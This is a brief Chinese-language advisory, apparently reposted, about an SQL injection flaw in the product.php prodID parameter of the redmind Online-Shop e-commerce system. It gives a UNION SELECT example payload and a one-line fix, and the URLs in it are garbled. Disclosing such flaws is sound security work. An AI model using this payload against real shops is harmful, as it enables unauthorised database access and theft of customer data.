redmind Online-Shop / E-Commerce-System SQL注射缺陷及修复

 

 

标题: redmind Online-Shop / E-Commerce-System SQL Injection Vulnerability

软件地址: http://HdhCmsTestredmind.de/online-shop. html

测试平台: Linux IDBlackcoder

作者: Mbah_Semar HdhCmsTest2cto测试数据

缺陷文件：

http://HdhCmsTest2cto测试数据 /product.php?prodID=[SQLi]

[ 示例] http://HdhCmsTest2cto测试数据 /product.php?prodID=9999 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

修复：过滤该页面参数输入

查看更多关于redmind Online-Shop / E-Commerce-System SQL注射缺陷及修复的详细内容...